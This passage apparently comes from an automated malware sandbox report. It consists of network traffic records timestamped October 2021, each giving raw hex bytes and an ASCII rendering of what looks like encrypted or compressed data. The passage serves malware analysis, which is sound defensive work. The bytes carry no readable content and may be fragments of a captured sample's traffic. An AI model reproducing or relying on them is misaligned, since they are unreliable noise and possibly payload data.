d8 a8 f3 b7 89 b2 a1 cb 1f 19 42 3c 54 c3 89 11 26 4e 92 c6 b1 f2 8d d0 1b d9 ab 36 7b f5 88 59 87 6d 16 94 b5 c6 85 52 
94 6c 4f eb 92 70 3a 87 a1 da e5 b9 ff af fd 3c 0c 33 5f 18 21 d0 10 e3 84 74 ad ff fc 02 fb fe 93 98 46 8c b5 60 7c 31 28 
49 b8 d5 a0 b6 0d 41 6b 4d 3b 97 c7 1b 10 f3 ed 
Data Ascii: MYVt,>n]yK&`1!%O]0Y}J@v`ZBCHh6["qg*\;0k1GtpQwkPPCUgW'9l`@ B<T&N6{YmRlOp:<3_!tF`|1(IAkM;

2021-10-12 07:38:07 UTC 160 IN Data Raw: 7b 9d 28 b9 58 8e a9 62 0f 20 37 26 35 bd a0 49 74 23 06 db e5 06 ba b5 4b 9d 5e 5c cd d4 4b 0b 4b 76 9c df 
a8 d1 28 1c a1 b1 f0 af 73 15 21 0a 63 a7 f2 c5 63 cb 18 48 3c d3 59 c0 32 bc f9 05 db 08 91 4e 3f 59 65 fa 24 a4 0c 15 49 
c9 1d 04 0a ba 83 15 5b 11 b8 fa f8 71 95 c5 53 7c 33 8b d1 fd ee 96 00 0b 44 69 9d ab 20 3a d0 27 7a 3a 88 0e ca e4 65 
b3 85 7a c5 49 6e a5 07 17 d6 15 97 68 38 9d 6f 39 c2 c9 7a 0b 49 70 32 2e 98 38 83 97 87 22 5a ed cb 83 28 a2 13 b6 1f 
e7 6f 3d b8 c7 51 05 86 fe 07 79 26 16 a1 ee d8 7c 0a e1 c3 84 b6 29 f8 25 11 50 c5 6c 24 0b b9 3b 0b 2f ba 3f be af 1f 9b 
3a 03 00 b6 ee 9a b6 1d 18 3b 69 15 9a 4b df 71 91 7c 58 d6 a7 b3 de cf 46 c6 57 3b 1d 28 38 2b e3 f3 54 07 8a 66 a5 9f 
f9 5f cf 0b 3c c9 12 c2 4e c7 8a 43 4d 96 c5 c9 d6 
Data Ascii: {(Xb 7&5It#K^\KKv(s!ccH<Y2N?Ye$I[qS|3Di :'z:ezInh8o9zIp2.8"Z(o=Qy&|)%Pl$;/?:;iKq|XFW;(8+Tf_<NCM

2021-10-12 07:38:07 UTC 161 IN Data Raw: 54 1a 6a b7 e3 2f 46 a1 62 4f d9 dc 36 b0 65 ca cb 63 3e 51 35 69 56 74 65 4a 47 53 91 86 c1 09 35 e8 58 c3 
74 6a 41 5e cb 67 e3 73 63 75 96 12 83 eb e3 dd 96 46 45 dc 3e e7 34 a1 b1 9d f2 2b 73 3f 18 ca 6f 9f 4b fc 2b a5 63 a4 
75 56 d9 20 ed bf 61 91 a3 6c 44 28 53 7e 21 c9 35 0d 06 ec 08 18 75 d6 c2 0c e9 ab 41 2a 61 3a d9 6f 43 dc 75 b6 55 97 
3a 55 a4 ce 67 f7 ea 15 55 df 46 70 b5 67 92 51 38 9e d1 d4 96 e9 f6 fe 92 76 61 38 48 1b 81 de 6a 5f 30 c9 98 e9 ad e8 
bf 64 f3 91 79 01 fe 98 51 d6 4e 3e c5 c6 a7 ea 2c b1 01 0d 8c f6 1e 16 c9 ed bb c2 87 d4 d9 8e 7d 7f 48 26 56 1c a5 6f a5 
df 2d f0 bc 4f 8b 24 1b 7a 7d 96 47 5b 80 c2 f8 f2 ef 51 54 10 01 b1 ed 90 ae 9b 96 d0 1c 75 82 d3 ae f7 79 d3 7b 5a 4e a5 
8b 1a 76 5d c4 12 01 e0 ac 46 3d 0a 74 d0 1b 4f ff 
Data Ascii: Tj/FbO6ec>Q5iVteJGS5XtjA^gscuFE>4+s?oK+cuV alD(S~!5uA*a:oCuU:UgUFpgQ8va8Hj_0dyQN>,}H&Vo-
O$z}G[QTuy{ZNv]F=tO

2021-10-12 07:38:07 UTC 162 IN Data Raw: c0 14 4f e3 61 06 74 37 df 3b d9 bc 63 2c 79 87 27 d2 92 24 68 58 f0 05 49 b4 d9 80 f1 3a 3e 68 67 ba 5c 26 
88 08 41 87 96 b8 dd 5f 70 88 ee 88 41 6d 6b e1 b6 14 58 f3 3e 23 c7 e4 f9 a1 6f fc 8b ba 9c e0 cb ee 65 b1 3e 1d 9b 8a 
11 e5 b2 41 49 95 38 25 ac cb 72 af 72 b4 6c 45 c0 62 dc 60 dd 74 76 b7 61 d2 af 8f 5f 04 48 a4 c3 05 2c d4 43 cb a2 2c 
08 6c 03 38 1f 01 4f 04 24 a0 bb 8c 4e 20 89 bb 5e b0 d3 5a 01 da 12 94 03 70 82 dc f3 ab d5 8f 94 a9 e0 ee 83 59 75 21 
a0 d0 19 ba 00 b2 8d b5 a0 38 a6 0b 82 c1 d8 3e b9 32 41 5f 65 28 e5 e3 5e e6 7e 86 1e 1f 21 5e 9e d3 92 b9 43 e9 3d fd 
53 8e e5 7c 88 4e 65 bd 1c 8b c1 51 aa 86 50 28 0e 2f 42 1d e2 09 3f 65 d0 3c 19 4b be fe 2c d7 db 50 7c 31 38 21 c9 c6 
62 d9 22 f4 38 83 a8 49 43 d9 4a 56 a6 ea 7d f4 d4 36 da 
Data Ascii: Oat7;c,y'$hXI:>hg\&A_pAmkX>#oe>AI8%rrlEb`tva_H,C,l8O$N ^ZpYu!8>2A_e(^~!^C=S|NeQP(/B?e<K,
P|18!b"8ICJV}6

2021-10-12 07:38:07 UTC 163 IN Data Raw: d2 87 37 59 51 b8 c9 63 cf c8 80 55 88 48 9c 58 a8 aa 22 0c 81 e8 ca c1 da 03 97 8f 11 c5 20 61 c0 92 8c f2 fb 
be ca 3d 16 99 e5 91 f2 c5 64 51 2d af 79 91 13 bb 65 75 84 5d 0a ef fd 1e 62 72 7e 5f 4e bc cb 6e 82 6d 05 d0 fb c1 03 18 
8f 62 aa b5 ad 20 f5 71 c8 25 29 d6 c6 36 1b 50 74 5c 76 25 f0 49 3c f7 51 fd 4c a6 95 80 03 69 6d 5d 42 6d f9 12 7c 62 73 
3c aa 71 e0 de 22 8e 24 34 94 a1 2f 7d 1d cd 8c c5 a0 56 09 b7 bf a3 f2 e7 78 e6 15 12 72 2e e6 2f 77 d3 47 46 32 3e 47 
40 32 5c f7 10 da 25 86 bf 01 28 75 c5 07 6f 40 77 48 f6 34 19 54 2c 85 38 67 aa 99 72 d2 50 e4 62 08 ec 62 e3 bb 47 6c 
fe ab 81 9b 2a 53 cf ee f3 03 cf d1 11 15 9a 5f 13 f4 91 02 90 0a 1f a7 19 df c2 41 e4 5e 23 cc 74 8a db 27 65 b6 5d ab b8 
e5 db 23 cf 74 84 68 df d4 5d 30 dc cb 58 97 
Data Ascii: 7YQcUHX" a=dQ-yeu]br~_Nnmb q%)6Pt\v%I<QLim]Bm|bs<q"$4/}Vxr./wGF2>G@2\%(uo@wH4T,8grPbbGl*
S_A^#t'e]#th]0X

Timestamp
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2021-10-12 07:38:07 UTC 164 IN Data Raw: ec b2 fd 8c 41 5f 03 13 c9 3e 45 73 71 46 f7 ed 87 cf 47 a2 80 cc 85 4c 61 e6 ed 3f 16 53 e2 75 18 e5 fc ef aa 
77 f6 30 e6 23 f0 d1 f4 3c 88 cb 28 bc 83 26 c8 54 78 eb a2 33 0b 83 eb cb 8d 42 9c 2f 6b 3d 53 63 70 ea 4e 49 a4 48 ea 
9d b5 07 82 6d 6f 87 c5 fd 17 9a 1a eb cc db a9 b5 f7 1d d2 14 da cc 7d 6b 40 f8 dc 5b 62 9e 45 df 87 5f 3f ef 32 c7 9f f3 
3d 50 64 a6 65 ae 6e 93 0f 76 a6 99 ca 16 20 e8 40 ef 61 aa 46 cd da 5d eb 54 44 43 a7 39 bb c6 c1 3e be f8 6d 73 2b f8 
01 00 89 af c8 13 63 db 28 45 5b af 6e cd 0d 34 eb 3e eb dd 13 6b 22 e4 ee 04 30 fa 87 63 c1 f0 aa 5f a1 55 dc d6 86 82 f4
00 43 42 7e 7e c5 d9 8b 68 62 31 9a 3c 96 79 b1 76 cb a0 19 1e 8c f0 05 55 a3 20 bd 9f 67 5a 4f a8 c7 32 76 f1 41 d9 6f 
71 38 f7 ef 90 c5 aa 07 45 e0 2a bb d8 09 7c 35 
Data Ascii: A_>EsqFGLa?Suw0#<(&Tx3B/k=ScpNIHmo}k@[bE_?2=Pdenv @aF]TDC9>ms+c(E[n4>k"0c_UCB~~hb1<yvU 
gZO2vAoq8E*|5

2021-10-12 07:38:07 UTC 166 IN Data Raw: 4b 50 8a 02 da 24 29 29 8c 9f 32 e0 f6 d5 39 b5 18 ee d9 58 c5 cc 23 26 e7 ed 8b b8 56 7e 3d eb 72 07 05 de 
ab d9 59 8c 84 4e f4 be 43 70 40 24 a7 90 ec f1 fc 8e d7 b5 b4 a0 3b dc e5 91 23 8a 55 ce a2 2f 57 64 9c 43 98 db 54 2f f4 
4f e6 56 9e 85 5e 26 72 df 49 ea c7 d2 28 f6 6c d8 aa 98 6a 2b d0 8a b2 0d 2f 6f 8d 3f 6e 03 78 61 e9 b0 e1 16 02 79 8a 
e2 b9 76 53 9c 23 62 ba fa d3 e0 cc 57 77 23 c2 b5 ce 20 94 eb 10 2b 2a 96 65 14 74 27 ee 0a 90 60 3f f2 e8 39 6c 64 c2 
fe 0a 74 3f 88 c7 05 53 e9 ad 21 02 7e eb b6 7c 66 10 20 88 88 a6 42 7a 40 d4 48 e7 fe a4 29 80 4f 74 e2 24 73 98 23 8c 
ad 72 58 c2 52 ea 1a 16 41 66 db cc 6f e5 a2 ed fa 8b 96 5b e7 dc 27 61 2b 43 b7 48 63 68 d0 42 24 1c ee 07 dc 40 d4 4b 
d3 cf 16 e3 88 e0 f5 84 23 36 9f f8 9f 73 11 c0 e6 ff 
Data Ascii: KP$))29X#&V~=rYNCp@$;#U/WdCT/OV^&rI(lj+/o?nxayvS#bWw# +*et'`?9ldt?S!~|f Bz@H)Ot$s#rXRAfo
['a+CHchB$@K#6s

2021-10-12 07:38:07 UTC 167 IN Data Raw: 4a fe bc 16 51 74 74 21 dd fe ef 3d 7f bf 87 e7 a2 e5 d4 e7 3e 89 2a fa bd 90 39 ce 92 ef 6b 7b 11 0c 83 ff 5b 
c7 40 9a 56 23 f7 40 ef 70 e1 d8 48 ee 76 fc 9d 22 7f cb a0 69 0f 5e f0 05 98 4c af 5a da 81 e0 a3 4c c6 9d f3 e2 2b eb 84 
97 f7 77 34 03 0f 0f af fd 68 6d c4 c6 b7 48 6a d0 af 30 4e 55 38 83 66 76 8e b1 9c 82 de e1 68 de 37 fd fa 5c f3 73 bd d4 
76 49 98 15 ed 5b 27 eb 96 43 3a 51 51 ec 29 b4 dc 2f d8 10 4b 20 7e 5b 84 b8 46 e1 5b fc c6 3d c3 ec 15 ba b8 7d fc 04 
66 7a 10 a0 84 dc fc c2 b5 8d 9a 48 d1 07 30 01 05 a6 3f fe 8f c3 cd a7 34 05 6d 38 d0 55 e7 fa 04 a7 5f 2f da 9e 6d ee e4 
0e ea 1f 9e 9a 10 84 c1 3b e3 1e e2 7f 68 73 ae f6 dd a4 c7 aa 13 4b d0 da bd 63 cc 7f 06 77 32 f8 72 58 82 c1 6f 0e 33 0c
ef a9 02 39 d6 17 44 01 ae ec ef 04 d4 b2 
Data Ascii: JQtt!=>*9k{[@V#@pHv"i^LZL+w4hmHj0NU8fvh7\svI['C:QQ)/K ~[F[=}fzH0?4m8U_/m;hsKcw2rXo39D

2021-10-12 07:38:07 UTC 168 IN Data Raw: 13 97 13 4b 7f 2b b7 9f 0b 0d dc a0 78 2c 24 99 4f f4 f8 7e 82 ca 24 73 f7 cc 03 61 d2 d7 b0 bf ad 28 dd 72 ce 
af 2b 44 cf a2 1c 5a 74 1e 42 89 f6 4b 3f 11 46 ea 67 b4 95 5c 27 f2 46 5e 62 4d d2 c3 59 7c 73 b7 99 6a cb 4c 22 be 2c 
b8 be 53 27 60 02 78 96 c3 a0 63 17 13 85 32 f3 42 7f 5f 0f 00 72 b8 fb 53 7f d0 67 e2 23 3d 47 cf 30 96 ea 10 da a3 86 71 
35 e3 44 c6 0e 9e 61 3f 7b e0 34 ee 65 d4 8d a9 66 29 80 c9 c8 46 e4 af 20 82 4a e3 9b e9 66 0e 8a 97 9b a4 43 7a f4 75 
03 f3 df 33 0e b9 56 66 e3 24 18 96 0a 12 ab 62 e2 53 40 c2 45 86 d6 43 d7 d2 39 65 b6 fb a9 81 c7 1a 2b cc 74 73 1d c3 
fd 4f 30 67 d6 9a ab fc ff 14 8a 78 23 4a 84 d1 40 72 9c dd a1 7c 27 21 05 96 ed 71 47 40 71 ef 65 5b 8c 4b 06 dc b6 9d 
4a bf 95 fb 0d 96 1a 7e a6 b3 8e fe e0 9f 21 34 01 
Data Ascii: K+x,$O~$sa(r+DZtBK?Fg\'F^bMY|sjL",S'`xc2B_rSg#=G0q5Da?{4ef)F JfCzu3Vf$bS@EC9e+tsO0gx#J@r
|'!qG@qe[KJ~!4

2021-10-12 07:38:07 UTC 169 IN Data Raw: 83 bb c8 03 58 fd a2 67 05 a6 eb 5c 8c 42 9c d6 69 61 73 7a 70 86 40 6c a4 a9 7a 9d b5 5e 80 b4 67 9e c5 9a 
19 bf 1a 23 55 db a9 ec f5 da da 8e dc a2 72 4e 40 b5 47 5b 62 a3 45 1e 8f 46 3f 9f 3d e2 9f 5e a4 50 64 17 66 6f 66 17 
09 06 a9 b8 ca 56 bf e8 40 f2 61 7c 46 c9 da d0 e4 71 44 7d 2a 39 bb db c1 ef be f8 6d c2 2b dd 01 3c 10 af c8 13 63 48 
2a ff 4e be 6e e8 0d 7c fc 3e eb c3 13 ba 3a 39 ca f7 32 df 87 a1 c2 f0 aa 41 a1 cc df 00 8c 46 fb 25 43 8a 69 7e c5 c7 8b 
cd 61 df 90 1d 99 5c b1 7a cf a0 19 00 8c 58 06 85 a9 ec b3 ba 67 93 56 a8 c7 38 74 19 59 20 4b 82 3b d2 ef a6 c1 aa 07 
4f e2 9e b8 07 03 bf 3b 50 34 f8 38 5f b0 c0 69 48 c6 57 d6 8f 0b 1c 41 16 d5 1e a8 ef 78 43 ee d9 2e d6 46 45 26 6d 36 
60 96 95 a6 c5 a6 f4 61 7e 46 1c cc 15 5c 53 91 4d 57 
Data Ascii: Xg\Biaszp@lz^g#UrN@G[bEF?=^PdfofV@a|FqD}*9m+<cH*Nn|>:92AF%Ci~a\zXgV8tY K;O;P48_iHWAxC.FE
&m6`a~F\SMW

2021-10-12 07:38:07 UTC 171 IN Data Raw: c7 10 e1 44 d0 6b bd 87 39 39 1b cf 2f 29 48 dc a2 8b 5f 77 8c 68 98 6e 5b 3d f6 4e e6 74 b4 90 6d 24 60 6c 4f 
a6 db d2 28 51 70 60 b7 f1 68 10 ce 08 af 5c 2a be a7 2f 6c 11 78 6f ca 8a e8 3d 02 8d a3 f3 bb 77 53 1c 00 66 bf 2c d7 55 
c1 3f 73 23 c2 4f c3 23 96 2e 11 0d 27 ac 67 0d 73 44 c3 07 92 72 3f b4 e5 37 7c 4f c2 a1 35 66 3d 89 c7 db 46 cb 9e 23 
10 60 f5 bb 6d 66 10 83 87 88 a4 d4 7b 20 fd 29 e5 af b1 0e 9c 5f 76 f0 24 8f 97 b7 96 81 74 5a d1 40 e8 4c 96 c5 67 c2 
d5 6a 7f 9c ea 79 80 c1 db 23 dd 67 7f 77 c5 fe 5d 1a 76 66 53 bf 1a fd 05 99 c0 ff 48 5f d3 6a 63 5c ff a3 9a 25 30 16 fe c6 
76 ed 5a 5b fe 5d a0 9b cd 06 cd a5 9d 1b ab 4e f9 27 87 a2 0a a4 30 87 ef f3 17 a4 36 e1 a4 87 8b 74 ad 2d ff 37 8f 70 d3 
30 18 18 51 07 45 f7 66 fb 74 52 5f 69 60 
Data Ascii: Dk99/)H_whn[=Ntm$`lO(Qp`h\*/lxo=wSf,U?s#O#.'gsDr?7|O5f=F#`mf{ )_v$tZ@Lgjy#gw]vfSH_jc\%0vZ[]N'06t-7
p0QEftR_i`

2021-10-12 07:38:07 UTC 172 IN Data Raw: 54 7d be 75 7e ca a2 ca 4a c5 f6 16 9a 1c 37 8f fe ba cc be cc 66 d9 da ce 7d 6b 46 9e 53 56 2b 82 0e 08 6f 92 
3f ed 32 c7 99 6c a0 5d a4 37 2d 79 9a 40 0f 74 a6 9d cc 0a cd e5 09 f3 2d 7d 6e 1a da 5f eb 54 42 55 47 34 7b db 8d e9 
8a 2b 6d d1 2b f8 07 90 6b a6 81 12 2e 0c 40 9f 5b ad 6e cd 0b 74 12 37 2b c0 5e bc 56 3f ee 06 30 fa 81 a9 8f dd ec 46 
ef 8a 74 20 86 87 f4 00 45 82 36 53 3b c5 c5 8b d6 c1 9a 39 96 79 b7 72 b5 a8 5f 07 c3 1e ed a8 a3 22 bc 9f 61 9b d0 a0 
39 3a 3b 1f b5 26 6f 73 39 f7 e9 ae 82 9e 29 4d b2 d8 93 26 09 7e 34 75 32 f0 68 6b 28 c0 39 0e f1 48 dc ab 04 39 47 1e 
69 0b ee e8 29 05 85 f5 24 18 49 60 20 65 fc 75 68 97 f7 c3 ca f3 45 8f 44 39 ca 1d 4b 4d d7 4a 05 26 91 9a 07 1c d7 c2 
9b 9e c9 5b bf 1b 58 b9 50 d9 b0 96 85 da 1c 6d 0a a2 
Data Ascii: T}u~J7f}kFSV+o?2l]7-y@t-}n_TBUG4{+m+k.@[nt7+^V?0Ft E6S;9yr_"a9:;&os9)M&~4u2hk(9H9Gi)$I` 
euhED9KMJ&[XPm

2021-10-12 07:38:07 UTC 173 IN Data Raw: 3d 28 6c 88 67 cc 13 5d 27 72 46 5e 42 4d d2 c2 73 00 73 0b 1f 6b cb cc 22 be 0c b8 be 55 0d 1c 02 80 10 c2 
a0 e3 17 13 a5 32 f3 9f 54 22 0f 2e f5 b9 fb d3 7f c7 47 61 25 d1 4f b2 30 da 6d 11 da 23 86 61 0d 36 60 f5 24 e3 61 9f fc 
e1 34 6e 65 c4 b5 7c 42 01 aa b6 c8 b2 63 ae 20 02 4a f4 a3 3c 42 73 a0 f6 9b 68 cb 7b f4 f5 03 e4 ff 33 0e 8f 5f 07 e3 9c 
92 97 0a 92 ab 75 c2 d0 46 fb 4c e7 d6 ab 03 d3 39 65 b6 fb a9 02 c1 52 00 ac 74 5f f1 c2 fd 4f 30 60 d6 d3 bf b3 de 74 8a 
74 61 4a 84 d1 40 65 84 a5 87 89 25 41 05 f6 01 70 47 40 71 98 66 2d 9b 5e 27 bc b6 fd a4 be 95 fb 0d 81 02 52 80 23 87 
9e e0 8c cf 35 01 be ad ed 8f d9 3c ec 37 fe 63 79 28 28 1b 43 2d 01 f4 ec fb 8a 53 2e 7a d8 38 bd 11 44 c0 39 b2 89 96 
91 c8 60 46 ec 95 bf 40 ca f4 56 4c 75 c4 f2 80 
Data Ascii: =(lg]'rF^BMssk"U2T".Ga%O0m#a6`$a4ne|Bc J<Bsh{3_uFL9eRt_O0`ttaJ@e%ApG@qf-^'R#5<7cy((C-S.z
8D9`F@VLu

2021-10-12 07:38:07 UTC 175 IN Data Raw: 57 16 40 86 01 5a 62 83 45 0e 87 46 3f 3f 36 ba 9f 28 e2 51 64 37 66 7f 6e 17 09 a6 a2 e0 ca 87 f9 e9 40 f2 61 
6c 5e 16 fe d9 eb 29 44 e9 92 39 bb db c1 ef a6 2d 49 c2 2b 85 01 0c 54 ae c8 13 63 1a 28 4c 5b 87 65 b0 0d 34 23 3f eb 
c0 13 aa 22 ec ee d1 34 87 87 b5 22 f1 aa 42 a1 9c dc f3 86 ff ff 7d 43 fa 89 7f c5 c4 8b 9d 62 91 9c 37 9a 04 b1 ce 2f a1 
19 03 8c 08 05 f8 a5 5a b7 e2 67 6f b6 a9 c7 3b 74 0e 41 f5 6f cd 13 8a ef 46 20 ab 07 4c e2 c9 bb f4 09 a0 1e 08 34 70 da 
5e b0 c3 69 18 c5 19 da 81 0f 44 41 02 39 1f a8 ec 78 13 ed 74 24 86 59 1d 26 b9 da 61 96 96 a6 d5 be 21 45 1e 6f 44 cc 
4d ad 52 91 4e 57 30 39 cb 01 8d fc bf 9d 22 da 45 41 1a 0a bf fc de 94 85 85 a7 1a b1 68 ac f8 b0 24 e3 50 b3 23 32 dc 
02 14 69 12 21 2c c6 c5 35 4c ee 18 ae 0e 4e 99 
Data Ascii: W@ZbEF??6(Qd7fn@al^)D9-I+Tc(L[e4#?"4"B}Cb7/Zgo;tAoF L4p^iDA9xt$Y&a!EoDMRNW09"EAh$P#2i!,5LN

Timestamp
kBytes
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Copyright Joe Security LLC 2021 Page 153 of 181



2021-10-12 07:38:07 UTC 176 IN Data Raw: af a2 2d bd a7 2f 6c 94 78 c4 c1 46 e1 6a 02 6c a7 f0 bb 77 53 99 00 51 b0 1d d1 02 c1 a3 77 20 c2 4f c3 a6 96 
4c 12 3c 21 fb 67 ea 76 47 c3 07 92 f7 3f 6b ea d2 6c 18 c2 b7 3d 65 3d 89 c7 5e 46 37 ad c6 00 37 f5 8d 7d 65 10 83 87 
0d a4 24 6e 12 f7 7e e5 ae a7 0d 9c 5f 76 75 24 e5 94 ec 90 d6 74 ae c7 43 e8 4c 96 40 67 19 c6 df 67 cb ea 2e 96 c2 db 
23 dd e2 7f 5a c0 1b 4d 4d 76 75 47 bc 1a fd 05 1c c0 b6 5f 62 d3 3d 63 23 e4 a0 9a 25 30 93 fe d7 72 a1 42 0c fe be b9 
98 cd 06 cd 20 9d d1 a9 73 f9 70 87 ed 13 a7 30 87 ef 76 17 c7 37 e7 bc d0 8b 9e b3 2e ff 37 8f f5 d3 90 3e fd 41 50 45 da 
7f f8 74 52 5f ec 60 1a bf f7 46 bd 28 e3 c5 b1 17 c8 11 d0 c0 44 a9 a6 c8 89 40 28 e6 c7 cc a4 1d e5 61 c1 11 4d 8c be 06
84 77 aa 37 a3 f8 b6 d8 82 ba 5a 60 69 4a 68 63 
Data Ascii: -/lxFjlwSQw OL<!gvG?kl=e=^F77}e$n~_vu$tCL@gg.#ZMMvuG_b=c#%0rB sp0v7.7>APEtR_`F(D@(aMw7Z`
iJhc

2021-10-12 07:38:07 UTC 177 IN Data Raw: 0e 0c 74 a6 9d 5c 02 b0 d9 a6 f0 1c 7d 19 53 d9 5f eb 54 d2 5d 86 3f 5d d9 bc e9 3e 62 6e d1 2b f8 97 98 c7 9d
2e 11 1e 0c 89 d6 58 ad 6e cd 9b 7c 9c 38 0d c2 6e bc e0 76 ed 06 30 fa 11 a1 2b c4 4c 40 dc 8a 38 69 85 87 f4 00 d5 8a 
37 7f 23 c6 f6 8b 64 8b 99 39 96 79 27 7a 75 a6 ff 01 f1 1e 2d e2 a0 22 bc 9f f1 93 e7 a9 21 39 09 1f 0b 6c 6c 73 39 f7 79 
a6 ef ad e1 4e 9f d8 d0 6d 0a 7e 34 75 a2 f8 db 5e 56 c1 14 0e 48 03 df ab 04 39 d7 16 b1 19 4e ee 05 05 42 be 27 18 49 
60 b0 6d 63 62 70 94 db c3 6f b8 46 8f 44 39 5a 15 7a 5b 77 4c 2a 26 cb d1 04 1c d7 c2 0b 96 51 47 a7 18 77 b9 f7 93 b3 
96 85 da 8c 65 88 a7 1e b2 59 f5 65 2b 20 d9 f7 7f 82 31 31 22 ca c4 b8 23 1a 76 1b ad 22 33 0f 18 8c f8 09 2f fb eb 13 b7 
a8 25 6a 4d 9e ef ce 85 4b 90 47 bd 5e ef 83 52 
Data Ascii: t\}S_T]?]>bn+.Xn|8nv0+L@8i7#d9y'zu-"!9lls9yNm~4u^VH9NB'I`mcbpoFD9Zz[wL*&QGweYe+ 11"#v"3/
%jMKG^R

2021-10-12 07:38:07 UTC 178 IN Data Raw: df 56 ff f1 41 61 14 11 c9 23 45 42 71 7c f0 09 84 b2 47 2c 81 ce 85 45 63 dd ed 26 25 b7 e1 08 18 ad eb ed aa 
7e f4 13 e6 da f7 35 f6 41 88 be 2a be 83 3b c8 04 78 6b 96 de 08 fe eb ea 98 40 9c 56 69 66 53 a4 70 07 4d 34 a4 84 f9 
9f b5 7e 80 34 6f ac c2 10 14 e7 1a d5 d9 d9 a9 cc f5 5a d2 06 da 28 7f 16 40 8a ca 59 62 83 45 9e 87 c8 39 0b 30 ba 9f 
5a 29 52 64 37 66 ef 6e cd 0f 92 a4 e0 ca 62 32 ea 40 f2 61 eb 46 11 dc b9 e9 29 44 df a5 3b bb db c1 7f be 94 6d 37 29 
85 01 3c 9f ad c8 13 63 9a 28 0b 5d 4b 6c b0 0d ba e9 3c eb c0 13 2a 22 0c ed e0 32 87 87 49 d7 f2 aa 42 a1 1c dc 9a 8e 
61 f6 7d 43 80 7f 7c c5 c4 8b 1d 62 44 99 df 94 04 b1 56 d9 a2 19 03 8c 88 05 db b6 c4 be e2 67 dd 40 aa c7 3b 74 89 41 
89 6c 95 3b 8a ef d6 d7 a8 07 4c e2 4e bb 1c 1c 98 36 
Data Ascii: VAa#EBq|G,Ec&%~5A*;xk@VifSpM4~4oZ(@YbE90Z)Rd7fnb2@aF)D;m7)<c(]Kl<*"2IBa}C|bDVg@;tAl;LN6

2021-10-12 07:38:07 UTC 179 IN Data Raw: 49 d9 89 75 f8 27 29 f3 94 1a 30 31 d3 1f 39 6b 05 69 f9 c3 c3 64 3e b1 e7 2a 92 f5 49 02 3d 10 7b 08 07 df ab 
ee 74 61 b4 a9 f6 85 68 4b 7d 27 a7 ff c7 95 e1 05 d2 56 bd d0 39 36 c5 cd 2f 29 48 59 a2 e4 6a 92 9c 3f 98 db 7a 3e f6 
4e e6 f1 b4 57 59 c1 70 3b 4f 6c fb d1 28 51 70 e5 b7 bb 5b 2d ce 5f af 5c 0e bd a7 2f 6c 94 78 7a c6 46 e1 6a 02 d7 84 f0 
bb 77 53 99 00 3e 89 1d d1 02 c1 d3 54 20 c2 4f c3 a6 96 cd 16 3c 21 fb 67 a3 55 47 c3 07 92 f7 3f 5a d2 d2 6c 18 c2 7a 
1f 65 3d 89 c7 5e 46 b5 a9 c6 00 37 f5 42 5f 65 10 83 87 0d a4 e7 48 12 f7 7e e5 e4 86 0d 9c 5f 76 75 24 63 90 ec 90 d6 
74 ff e6 43 e8 4c 96 40 67 8c e7 df 67 cb ea f7 b7 c2 db 23 dd e2 7f 31 c2 1b 4d 4d 76 a9 66 bc 1a fd 05 1c c0 eb 4c 62 d3 
3d 63 3d c5 a0 9a 25 30 93 fe 13 70 a1 42 0c fe 
Data Ascii: Iu')019kid>*I={tahK}'V96/)HYj?z>NWYp;Ol(Qp[-_\/lxzFjwS>T O<!gUG?Zlze=^F7B_eH~_vu$ctCL@gg
#1MMvfLb=c=%0pB

2021-10-12 07:38:07 UTC 180 IN Data Raw: 4b 49 92 15 51 e3 75 8e df a9 eb 4c 7c 89 85 20 8e f3 d3 f4 3c 1e 2a 04 a7 65 39 b5 92 90 46 a1 38 0a 83 7d 
5c 06 46 7a 54 14 f0 59 c0 73 e1 4f 49 32 5c e5 bd 53 7c fd a2 43 24 c6 f6 16 9a 8c 2f 79 df 4f ce 88 cc 9c b7 d9 ce 7d 6b 
d6 96 fa 7a 84 81 38 08 e8 fc 3c ed 32 c7 09 64 e2 54 82 35 1b 79 fe 2e 0c 74 a6 9d 5c 02 7f c9 a6 f0 1c 7d f4 73 d9 5f eb 
54 d2 5d b8 3c 5d d9 bc e9 6a 42 6e d1 2b f8 97 98 48 8e 2e 11 1e 0c de f6 58 ad 6e cd 9b 7c c5 3b 0d c2 6e bc 3a 55 ed 
06 30 fa 11 a1 19 d5 4c 40 dc 8a e6 4a 85 87 f4 00 d5 8a 0a 7b 23 c6 f6 8b 3e ab 99 39 96 79 27 7a ed 8d ff 01 f1 1e 7b 
c2 a0 22 bc 9f f1 93 db ad 21 39 09 1f de 4c 6c 73 39 f7 79 a6 3a 9a e1 4e 9f d8 7b 4d 0a 7e 34 75 a2 f8 fd 5a 56 c1 14 0e 
24 23 df ab 04 39 d7 16 f0 2f 4e ee 05 05 ef 9f 
Data Ascii: KIQuL| <*e9F8}\FzTYsOI2\S|C$/yO}kz8<2dT5y.t\}s_T]<]jBn+H.Xn|;n:U0L@J{#>9y'z{"!9Lls9y:N{M~4uZV$#9/N

2021-10-12 07:38:07 UTC 182 IN Data Raw: 72 95 13 4b 7f ab b7 5f 1c e1 dd d6 78 85 46 9b 4f f4 f8 fe 82 3a 26 41 fd ba 03 f2 b6 d5 b0 bf ad af dd e1 d8 c9 
2b 35 cf 97 25 58 74 9e 42 0e d6 ca 3f 10 4c 9b 67 e3 ac 5e 27 72 46 d9 42 9b c4 ce 53 0d 73 ce a0 68 cb cc 22 39 0c 94 
bc 41 2d 11 02 e2 af c1 a0 e3 17 94 a5 0a e5 5d 75 2e 0f bb 4b ba fb d3 7f 57 47 70 26 24 4d be 30 4b d3 12 da 23 86 f1 
15 51 5c 25 05 ef 61 c0 42 e2 34 6e 65 54 ad 11 63 db 8b ba c8 66 de ad 20 02 4a 63 bb c7 7d f6 81 fa 9b e6 79 78 f4 f5 
03 73 ff fd 0b 7a 5d 0b e3 40 22 94 0a 92 ab e2 c2 bf 5a 0e 4e eb d6 e1 b2 d0 39 65 b6 7c a9 18 c4 3d 21 a0 74 d7 47 c1 
fd 4f 30 e0 d6 4f 9e fc ff 78 8a 09 79 48 84 d1 40 f5 9c 50 a6 7c 27 4d 05 14 b6 73 47 40 71 68 65 91 bb 2b 04 b0 b6 96 12 
bd 95 fb 0d 11 1a f1 a1 d6 85 92 e0 3a 79 36 01 
Data Ascii: rK_xFO:&A+5%XtB?Lg^'rFBSsh"9A-]u.KWGp&$M0K#Q\%aB4neTcf Jc}yxsz]@"ZN9e|=!tGO0OxyH@P|'MsG@
qhe+:y6

2021-10-12 07:38:07 UTC 183 IN Data Raw: 83 3b c8 04 78 85 a2 de 08 fe eb 79 c9 40 9c 56 69 66 53 9d 76 07 4d 34 a4 1b a8 9f b5 7e 80 34 6f 68 c6 10 
